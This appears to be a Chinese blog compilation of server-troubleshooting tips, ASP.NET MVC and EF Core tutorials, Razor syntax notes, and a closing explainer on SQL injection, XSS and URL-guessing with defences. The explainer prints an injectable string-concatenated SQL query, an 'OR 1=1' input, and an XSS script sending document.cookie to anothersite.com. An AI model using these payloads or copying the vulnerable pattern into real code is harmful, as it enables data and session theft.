本文不定时更新!
A: MySQL 执行 SHOW FULL PROCESSLIST
Q: 查看连接数和慢查询,适用于 MySQL 数据库无法连接 1040
A: iftop -i eth0
Q: 查看占用带宽的IP(命令:iftop -i eth0 -F ip/24),添加到安全组、防火墙、宝塔的黑名单中。
命令 grep -l "x.x.x.x" /www/wwwlogs/*.log 可以在 wwwlogs 目录下的所有 .log 文件中查找指定的恶意 IP。
A: goaccess -f xxx.log
Q: 实时分析网站日志,查看请求最多的IP
A: net.xoyozo.weblog 日志分析工具
Q: 自制的 Web 日志分析工具,可按多种方式排序,纠出可疑访问
A: 重启 web 服务器
Q: 有时候能解决 CPU 和内存消耗的问题,如果一会儿又升高,则需要找另外的原因
Q: 500 服务器内部错误
502 Bad Gateway
504 Gateway Time-out
A: 查看 php 日志,可能的路径:
/usr/local/php/var/log/php-fpm.log
/www/server/php/[版本]/var/log/php-fpm.log
Q: RDS MySQL IOPS 使用率高的原因和处理
A: 根据时间点查看慢查询
Q: Discuz! 论坛界面错乱、表情不显示、模块缺失、登录失败、发帖失败等等
A: 进入管理中心 - 工具 - 更新缓存,能解决大部分问题
Q: Discuz! 浏览帖子提示“没有找到帖子”
A: 进入数据库,修复表 pre_forum_post 或分表
Q: CPU 100% 或内存 100%,负载100+
A: 原因有很多,以下是一些建议:
Windows 在任务管理器中查看进程
当前是否有正常的大流量访问(譬如民生类论坛的某个帖子突然火了)特别是重启无效的情况
对比网站日志大小可大致确定哪个网站被大量恶意请求。
观察:命令 top
排查:通过关闭网站来确定是某网站的问题,通过关闭功能确定是某功能的问题,如果 nginx 崩溃请参下条
案例:通过修改 mobcent 文件夹名确定是安米的文件被疯狂请求导致的,更新插件和 mobcent 包解决问题。
如果都是正常访问,top 看到很多 php-fpm,而且个个占用 CPU 还不小,那么根据服务器硬件配置来修改 php 的并发量,如宝塔面板在 php 设置 - 性能调整 页,300 并发方案的推荐配置是:
max_children:300
start_servers:30
min_spare_servers:30
max_spare_servers:180另外,memcached 或 redis 的配置也可以进行相应的修改。
另一个案例是 kswapd0 进程占满 CPU,原因是内存不足导致 swap 分区与内存频繁交换数据。同样调整 php 的设置即可。
也可以通过 iftop 来查询占用带宽较多的 IP 并封禁(出方向),如果 CPU 能降下来,那这个 IP 就是罪魁祸首。
* 使用 WAF 的审计 WAF 日志,未使用 WAF 的审计 Web 日志。
Q: 阿里云 ECS 的 CPU 突然达到 100%,并持续到次日 0:00 左右
A: 可能 ECS 是 t5 规格,受 CPU 积分制度限制,积分耗尽时 CPU 不工作。解决方法是更换其它规格产品或升配。
Q: ASP.NET 所在服务器 CPU 突然达到 50% 或 100%,并持续
A: 首先确定哪个网站,再依次排查网站各功能。可能是 HttpWebRequest 请求远程数据时长时间未返回结果导致的程序阻塞。
Q: nginx 服务停止
A: 查看 nginx 日志
WDCP 路径:/www/wdlinux/nginx-1.0.15/logs/error.log
Q: 公网出带宽 100%,其它指标正常
A: Windows 在任务管理器-性能-资源监视器-网络 查看占用带宽的进程PID,然后在任务管理器-详细信息中的找到对应的用户(如果为每个网站分别创建了用户,就能知道是哪个网站占用了带宽);如果是被 PID 为 4 的 System 占用大部分带宽,也可以尝试重启 IIS 来解决。
CentOS 使用 nethogs 查看占用带宽的进程PID和USER,如果为每个网站分别创建了用户,就能知道是哪个网站占用了带宽,否则只能一个个关闭网站来判断,不知道大家有没有好的方法?当然还可以直接用 iftop 命令查看占用带宽的 IP。另外,查看每个网站在那个时间段的日志文件的大小也能大概看出是哪个网站被采集了。
A: Linux 显示每个用户会话的登入和登出信息
utmpdump /var/log/wtmp
参考:http://www.tulaoshi.com/n/20160331/2050641.html
Q: RDS 的 CPU 100%
A: 如果是突然持续占满(同时伴随 ECS 资源使用率下降,页面出现 502),很大可能是受攻击(或社交网站推送突发事件等),查看“慢查询”,添加相关索引;如果是 Discuz! 论坛,可尝试修复优化表 pre_common_session。
如果是数日缓步上升,或新项目上线,考虑 SQL 慢查询,思路:MySQL / SQL Server。
MySQL:SHOW FULL PROCESSLIST
SQL Server:sp_who
Q: php 网站的服务器,内存在数天内缓慢上升
A: 大概是 php-fpm 占用过多,或进程数太多
更改 php 的配置(如 max_spare_servers),执行:service php-fpm reload
Q: 进程 cloudfs 占用内存过多
A: 参:https://xoyozo.net/Blog/Details/cloudfs-cache
Q: RDS 磁盘占用过大
A: 参:https://xoyozo.net/Blog/Details/how-to-use-rds
Q: ECS 受到 DDoS 攻击怎么办?
A: 参:https://xoyozo.net/Blog/Details/aliyun-ddos-without-bgp
Q: 如果 ECS 和 RDS 各项指标都没有异常,但网页打开慢或打不开502,TTFB 时间很长,是什么原因?(ECS 的 CPU 100%,RDS 的连接数上升,也可参考此条)
A: 数据库有坏表,尝试优化/修复表(慢 SQL 日志中锁等待时间较长的表?),或主备切换。show full processlist 时看到许多
DELETE FROM pre_common_session WHERE sid='******' OR lastactivity<****** OR (uid='0' AND ip1='*' AND ip2='*' AND ip3='*' AND ip4='*' AND lastactivity>******)
Q: Discuz! 创始人(站长)密码被改
A: 数据库找到 pre_ucenter_members 表,复制其它的已知登录密码的账号,复制其 password 和 salt 两个字段的值到创始人账号中,创始人账号即可用该密码登录了。
Q: 通过 iftop 观察到,Discuz! 网站从 RDS 数据库到 ECS 网站服务器私网流量非常大,远大于公网流量
A: 可能是缓存出问题了,尝试卸载重装 Redis 来解决。
Q: 宝塔面板中安装的 Redis 经常自动停止
A: 尝试卸载重装 Redis 来解决。
Q: 马甲客户端出现“您的网络有些问题”
A: 原因有许多,其中一个就是新建了一个数据表,然后 /source/class/table/ 下面丢失了对应的文件,具体可以找官方排查原因。
Q: 排查服务器安全需要检查哪些日志?
A: Web日志、登录日志(/var/log/secure)等。
Q: 带宽波形以几分钟为周期呈锯齿状波动是什么原因?
A: 该现象主要由防火墙流量管控机制与检测周期设置共同作用所致。防火墙基于预设的带宽阈值执行安全防护策略,当检测到流量峰值超过设定阈值时,将自动触发限流策略拒绝后续请求。待流量回落至安全阈值后,系统自动恢复服务访问权限。若防火墙的带宽采样检测周期设置过长(如以分钟为单位的检测间隔),将导致系统对实时流量变化的响应出现迟滞。这种周期性的检测机制会使带宽监控数据在阈值临界点附近呈现规律性的锯齿状波动特征。
优化建议:可通过调整防火墙的流量检测周期至更小时间粒度(如10-15秒),或采用动态流量整形策略,以实现更平滑的带宽控制效果。
补充说明:对于阿里云监控数据的调用,建议注意接口调用频率管控。高频调用云监控API接口将触发阿里云的API计费策略,可能产生额外的资源消耗成本。
其它案例
示例:
<form action="javascript:fn_submit()">
<div>
手机号码:
<input type="tel" required="required" pattern="1\d{10}" title="手机号码由以1开头的11位数字组成" />
</div>
<div>
身份证号码:
<input type="text" required="required" pattern="\d{17}[\dX]" title="身份证号码由18位数字或17位数字加字母X组成" />
</div>
<div>
<input type="submit" value="提交" />
</div>
</form>
<script>
function fn_submit() {
alert('执行了方法“fn_submit()”,可以使用 ajax 提交数据');
}
</script>form 的 action 使用 javascript 调用 fn_submit 方法,在这个方法内可以使用 jQuery 的 ajax 来 POST 数据,当然还可以搭配使用 HTML5 的 FormData。这样相比于直接在 submit 按钮上写事件的好处是可以用到 HTML5 的表单验证功能,并且不会重载页面。
Vue 版本:
<form v-on:submit="fn_submit" method="dialog">
</form>var app = new Vue({
el: '#app',
methods: {
fn_submit: function () {
alert('执行了方法“fn_submit()”,可以使用 ajax 提交数据');
}
}
});公众号的报警群中经常收到这样的消息:
Appid: *
昵称: *
时间: *
内容: 微信服务器向公众号推送消息或事件后,开发者5秒内没有返回
次数: *分钟 *次
错误样例: [OpenID=*][Stamp=*][3rdUrl=http://api.socialbase.cn/extapi/wechat/message/*/][IP=*][Event=Click Menu Url]
报警排查指引,请见: http://url.cn/ab0jnP除此之外还有另外一个问题,就是客户端发送图片后会收到两条回复,一条是“印美图”处理打印图片链接,另一条是识脸判断年龄的图文。前者是之前与印美图公司合作的与快速打印照片设备配合吸粉的功能,后者是跳转到使用 FACE++ 的页面显示图片中人物的年龄。

几天来一直找不出原因,代码中搜索错误关键词无果,被动回复消息整个流程断点逐步调试也没有发现哪里有返回“请点击这里预览印美图 点击此处裁剪相片并打印。”
不是开发模式的问题,那一定在公众平台,登录后终于在“开发”的“基本配置”页找到了“管理已授权的第三方平台”,找到“Socialbase”取消授权即可。

整个世界安静了……

VS2017 安装程序变革比较大,最近安装了 15.1 (26403.3) 版本后提示重启,重启后再次打开安装程序还是提示需要重启,导致无法进入下一步执行添加、删除、修复组件的操作。

试用了几天以后没有发现这个情况会对开发工作产生影响,那么如果要修改安装组件怎么办呢?我们可以打开 Visual Studio 2017,新建项目,在左侧的“已安装”选项卡的底部点击“打开 Visual Studio 安装程序”:

又可以愉快地玩耍啦!
点不了“修改”?请关闭 Microsoft Visual Studio 2017 的所有实例,然后继续此操作。

论坛使用阿里云的 ECS + RDS + OSS 搭建,最近经常隔三差五出现 RDS 的 CPU 和连接数突然满负荷的情况,导致数据库无法连接。这种情况一般会认为是受到了攻击,因为如果是访问量大或者是哪里有慢查询,应该是资源消耗逐步上升直至崩溃的,沿着这个思路去查 Web 日志封 IP,但效果不大,关闭功能、卸载插件也没用。
开启阿里云后台的 SQL 审计,能看到 SQL 查询日志,但是很难找有问题的 SQL。
最终在重启 RDS 后执行以下语句列出所有正在执行或阻塞的语句:
show full processlist在结果列中,Command 为 Query 是正在执行查询操作的语句,发现几乎所有的 SQL 都是:
SELECT * FROM pre_forum_thread WHERE tid>0 AND fid IN('42','95','247','41','567','62','149','229','37','230','93','190','284','75','38','568') AND `fid`<>'546' AND replies > 0 AND displayorder>=0 ORDER BY lastpost DESC LIMIT 10再加上之前出现的情况是,论坛帖子列表和详情页面能正常打开时,论坛首页也不一定能打开,所以基本定位到是“首页四格”的数据库查询导致的。
进入论坛后台首页四格设置,对比了版块 id 后确认了这个 bug。
单独执行该语句大约耗时 5s(主题帖 200 万),设置的缓存时间 10 分钟。
processlist 中看到这些语句的 state 都是 Creating sort index,尝试去掉 ORDER BY 后执行果然只需要 16ms。
5s 内的访客都是从数据库读取的,能处理完就正常,否则累积就导致 RDS 崩溃,每 10 分钟都会重现一次风险。
当然这个问题可以通过添加索引来解决。
今天在逛汽车之家论坛时偶然发现,当选中帖子内容时,部分文字被空缺出来,没有被选中,一开始以为是把部分文字使用图片来代替了,审查元素发现是常见文字使用伪元素来输出,比如“大”字:
<span class="hs_kw10_mainuD"></span>.hs_kw10_mainuD 样式:
.hs_kw10_mainuD::before {
content: "大";
}这样肉眼根本无法察觉,因为不管字体大小、颜色等等都与普通文字一样,这是区别于用图片代替的最大优势,其次还能减少请求数,减少带宽消耗等。
新建项目
使用 VS2017 / VS2015 新建项目 - ASP.NET Web 应用程序 - MVC - 个人身份验证
添加模型
右击 Models 文件夹,添加类 Movie
using System;
using System.Data.Entity;
namespace MvcMovie.Models
{
public class Movie
{
public int ID { get; set; }
public string Title { get; set; }
public DateTime ReleaseDate { get; set; }
public string Genre { get; set; }
public decimal Price { get; set; }
}
public class MovieDBContext : DbContext
{
public DbSet<Movie> Movies { get; set; }
}
}Movie 类表示一部电影,一个对象实例对应数据库中一行,每个属性对应表中一列。
MovieDBContext 代表 EF 数据库上下文,处理抓取、存储、更新。
创建连接字符串和使用 SQL Server
打开 Web.config
在 <configuration /> 中的 <connectionStrings /> 中添加
<add name="MovieDBContext" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename=|DataDirectory|\Movies.mdf;Initial Catalog=Movies;Integrated Security=True" providerName="System.Data.SqlClient" />
name 必须与 DbContext 类的名称匹配(MovieDBContext)
这步将会把数据库文件 Movies.mdf 创建到 App_Data 文件夹中,你也可以使用其它 SQL Server 数据库的连接字符串,简单的方法是:
在“服务器资源管理器”中添加连接
从右击属性中获取连接字符串
从控制器访问模型的数据
右击 Controllers 文件夹添加控制器,选择 包含视图的 MVC 5 控制器(使用 Entity Framework)
模型类:Movie (MvcMovie.Models)
数据上下文类:MovieDBContext (MvcMovie.Models)
F5 运行,访问 /Movies 可添加、查看、编辑、删除影片
添加新字段
设置模型更改的 Code First 迁移
在程序包管理器控制台窗口中,在 PM> 提示符下输入
Enable-Migrations -ContextTypeName MvcMovie.Models.MovieDBContext
在 Migrations 文件夹中新建了 Configurations.cs,打开并在 Seed 方法中加入
context.Movies.AddOrUpdate(i => i.Title,
new Movie
{
Title = "When Harry Met Sally",
ReleaseDate = DateTime.Parse("1989-1-11"),
Genre = "Romantic Comedy",
Price = 7.99M
},
new Movie
{
Title = "Ghostbusters ",
ReleaseDate = DateTime.Parse("1984-3-13"),
Genre = "Comedy",
Price = 8.99M
}
);Seed() 将在每次迁移(PM>update-database)后被调用执行,AddOrUpdate 将执行 upsert 操作(有则 update,无则 insert)
AddOrUpdate 的第一个参数指定用于检查行是否已存在的属性
如果该属性值不唯,则出现异常
序列包含多个元素
创建迁移命令:
PM>add-migration Initial
名称“Initial”是任意的
执行迁移:
PM>update-database
F5 运行将显示种子数据
向 Movie 模型添加 Rating 属性
向 Movie 类添加属性,生成
public string Rating { get; set; }向 Create 和 Edit Action 方法的 Bind 属性添加 Rating
更改各视图支持新的 Rating 属性
此时 F5 运行将提示
System.InvalidOperationException:“支持“MovieDBContext”上下文的模型已在数据库创建后发生更改。请考虑使用 Code First 迁移更新数据库(http://go.microsoft.com/fwlink/?LinkId=238269)。”
要解决错误除了手动往数据库中添加 Rating 字段外可以利用 Code First 迁移:
更新 Migrations\Configuration.cs 给每个 Movie 对象添加一个 Rating 字段
PM>add-migration Rating
名称 Rating 是任意的
创建了 DbMigration 的派生类 Rating,可以看到添加新列的代码
PM>update-database
数据库自动完成了对新字段的添加,当然 update-database 也会把种子数据还原。
参考
Getting Started with ASP.NET MVC 5
本文适用于 EF Core,并非 EF 6.x 及以下。
在本演练中,您将构建一个使用 Entity Framework 执行基本数据访问的 ASP.NET Core MVC 应用程序。您将使用逆向工程基于现有数据库创建实体框架模型。
创建一个新项目
打开 Visual Studio 2017
文件 -> 新建 -> 项目...
从左侧菜单中选择 已安装 -> 模板 -> Visual C# -> Web
选择 ASP.NET Core Web应用程序(.NET Core)项目模板
输入项目名称,然后单击确定
在 ASP.NET Core 1.1 选择 Web 应用程序
确保“身份验证”设置为“不进行身份验证”
点击确定
安装 Entity Framework
要使用 EF Core,请安装目标数据库提供程序的软件包。本演练使用 SQL Server。有关可用提供程序的列表,请参阅 Database Providers(从打开页面的左侧菜单选择相应的数据库)。
工具 -> NuGet 包管理器 -> 管理解决方案的 NuGet 程序包
在“浏览”选项卡中搜索并安装 Microsoft.EntityFrameworkCore.SqlServer
我们将使用一些 Entity Framework 命令从数据库创建模型。所以我们也将安装工具包。
安装 Microsoft.EntityFrameworkCore.SqlServer.Design
安装 Microsoft.EntityFrameworkCore.Tools
模型的反向工程
现在是根据现有数据库创建 EF 模型的时候了。
工具 -> NuGet 包管理器 -> 程序包管理器控制台
运行
Scaffold-DbContext "数据库连接字符串" Microsoft.EntityFrameworkCore.SqlServer -OutputDir Models
数据库连接字符串可以从 服务器资源管理器 -> 数据连接,在要连接的数据库上右击属性来获得。
如果您收到以下错误说明,请关闭并重新打开 Visual Studio 后重试。
The term 'Scaffold-DbContext' is not recognized as the name of a cmdlet
逆向工程过程基于现有数据库的模式创建实体类(表名.cs)和派生上下文(库名Context.cs)。
实体类是简单的 C# 对象,表示要查询和保存的数据。
上下文表示与数据库的会话,并允许您查询和保存实体类的实例。
使用依赖注入注册上下文
依赖注入的概念是ASP.NET Core的核心。服务(例如数据库 Context)在应用程序启动期间使用依赖注入进行注册。然后,需要这些服务的组件(例如您的 MVC 控制器)通过构造函数参数或属性提供这些服务。
删除内联上下文配置
打开 Models\库名Context.cs
删除方法 OnConfiguring(...)
添加以下构造函数,这将允许通过依赖注入将配置传递到上下文中
public 库名Context(DbContextOptions<库名Context> options)
: base(options)
{ }在 Startup.cs 中注册和配置上下文
为了使我们的 MVC 控制器使用数据库Context,我们将它注册为一个服务。
打开 Startup.cs
使用 using 语句在文件的开头添加以下内容
using 项目命名空间.Models; using Microsoft.EntityFrameworkCore;
现在我们可以使用 AddDbContext(...)方法将其注册为服务。
找到 ConfigureServices(...)方法
添加以下代码以将上下文注册为服务
// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices(IServiceCollection services)
{
// Add framework services.
services.AddMvc();
var connection = @"连接字符串";
services.AddDbContext<库名Context>(options => options.UseSqlServer(connection));
}在实际应用程序中,通常将连接字符串放在配置文件中。为了简单起见,我们在代码中定义它。查看如何将连接字符串配置到 appsettings.json 文件中
创建一个控制器
接下来,我们将在我们的项目中启用基架。
右键单击解决方案资源管理器中的 Controllers 文件夹,然后选择添加 -> 控制器...
选择 Full Dependencies(完全依赖),然后单击添加
您可以忽略打开的
ScaffoldingReadMe.txt文件中的指令
现在基架已启用,我们可以为数据表实体构建控制器。
右键单击解决方案资源管理器中的 Controllers 文件夹,然后选择添加 -> 控制器...
选择“视图使用 Entity Framework 的 MVC 控制器”并单击“添加”
设置模型类和数据上下文类
单击添加
运行应用程序
您现在可以运行应用程序以查看它的操作。
调试 -> 开始执行(不调试)
应用程序将在 Web 浏览器中构建和打开
导航到相应的路径
/控制器名单击 Create New
填写表单并单击 Create
EF Core for MySQL
截至 Visual Studio 2017 正式版发布(2017年3月7日),MySQL for Visual Studio(支持)尚不支持 Visual Studio 2017,因此 Visual Studio 2017 的服务器资源管理器不能连接数据源为 MySQL 的数据库,也无法创建和更新可视化模型(.edmx)
NuGet 包 MySql.Data.EntityFrameworkCore 还没有找到 Database First 的 PM 命令,因此不能由 MySQL 数据库生成实体类和上下文
综上,要连接 MySQL 只能用 VS2015,要生成 MySQL 实体类和上下文就不能用 EF Core,暂时使用 EF 6.x 代替(创建 ASP.NET MVC 项目)
EF Core 1.1 未实现
EF Core 1.1 未实现:可视化模型,以查看基于代码的模型的图形表示。
EF Core 1.1 未实现:用于逆向工程的 Visual Studio 向导,允许您在从现有数据库创建模型时可视化地配置连接,选择表等。
EF Core 1.1 未实现:从数据库更新模型,允许从数据库以前反向工程的模型使用对模式所做的更改进行刷新。
补充
如果我们在创建新项目时选择 ASP.NET Core Web应用程序(.NET Framework)项目模板,那么完全按照 Core 的方式来开始(比如选择 NuGet 包的版本),而发布必须是 .NET Framework 环境,而非跨平台。
参考
语法示例
ASPX:
<ul>
<% foreach(var p in products) { %>
<li><%=p.Name%> ($<%=p.Price%>)</li>
<% } %>
</ul>Razor:
<ul>
@foreach(var p in products) {
<li>@p.Name ($@p.Price)</li>
}
</ul>代码块
ASPX: <% int a = 1; %>
Razor: @{ int a = 1; }渲染输出
经过 HTML 编码
ASPX: <span><%: model.Message %></span> Razor: <span>@model.Message</span>
未经 HTML 编码
ASPX: <span><%= model.Message %></span> Razor: <span>@Html.Raw(model.Message)</span>
代码与纯文本混合
ASPX:
<% if(foo) { %>
Plain Text
<% } %>Razor 写法一:多用于多行文本
@if(foo) {
<text>Plain Text</text>
}Razor 写法二:多用于单行文本
@if(foo) {
@:Plain Text
}@ 符号
<span>我在微博上@@了她</span>
自动识别 Email,不需要 @@
940534113@qq.com
显示渲染输出
如果变量被误识别为 Email,可以使用括号包围变量
<span>ISBN@(isbnNumber)</span>
服务端注释
@* 注释内容 *@
渲染输出动态方法
@(MyClass.MyMethod<AType>())
Razor 委托
复用视图逻辑
@{
Func<dynamic, object> b =
@<strong>@item</strong>;
}
@b("Bold this")布局文件 _Layout.cshtml
视图主体区域
@RenderBody()
创建预设区域
@RenderSection("名称", required: false)
使用预设区域
@section 名称 {...}视图入口文件 _ViewStart.cshtml
放置通用视图代码,譬如
@{
Layout = "~/Views/Shared/_Layout.cshtml";
}
视图中可重写覆盖 _ViewStart.cshtml 中的设置,譬如
@{
Layout = null;
}@ViewBag.Title 相当于 @ViewData["Title"]
一款将 ASPX 视图转换为 Razor 视图的软件:razor-converter
ActionResult
ContentResult
EmptyResult
FileResult
HttpStatusCodeResult
HttpNotFoundResult
HttpUnauthorizedResult
JavaScriptResult
JsonResult
RedirectResult
RedirectToRouteResult
ViewResultBase
PartialViewResult
ViewResult
NotFound()
OK(Model)
过滤器
规定请求方式
[HttpPost] [HttpGet]
Action 名称替身(不推荐)
[ActionName("另起一名")]授权验证
[Authorize] [Authorize(Roles="Admin")]
客户端验证
jquery.validate
远程验证
[Remote("验证的 Action 名", "控制器名", ErrorMessage="远程验证未通过")]用于远程验证的 Action 必须是 HttpGet 的,返回 JsonResult。
自验证
结合 ValidationContext 和 ValidationResult
保持视图中代码量最小化:
- 视图中不要含有数据处理的逻辑代码
- 视图中要避免包含大的代码块
- 构建多个视图/局部视图
- 适当使用 @helper 和 @function 语法
尽量使用特定的 Model 代替 ViewData / ViewBag!
@ViewData["Message"] => @Model.Message
Ajax Helper
jquery.unobtrusive-ajax.js
@Ajax.ActionLink("Home", "Index", new AjaxOptions { UpdateTargetId = "main" })
<a data-ajax="true" data-ajax-mode="relace" data-ajax=update="#main" href="/">Home</a>推荐插件
Elmah:记录所有异常日志,便于发现 Bug,提高用户体验
RouteDebugger:查看路由详情
Glimpse:类似浏览器 F12,提供服务端信息
MiniProfiler:监控各环节耗时,找出性能瓶颈
教程
ASP.NET MVC 微软官方文档(英文)(一键翻译即可)
互联网项目里边,SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。
这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。
SQL 注入
SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:
SELECT * FROM [User] WHERE ID=1 OR 1=1
因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。
规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。
如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。
对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得将输入里的单引号进行转义。
XSS 攻击
如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。
这里还是用 SQL 注入中的例子来说,假设页面输出为:
<div><%= Request["ID"] %></div>
这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。
XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。
防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。
猜测 URL 攻击
猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。
以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。
要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。
其它需要注意的地方
安全是一个系统工程。
要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。
在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。
最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。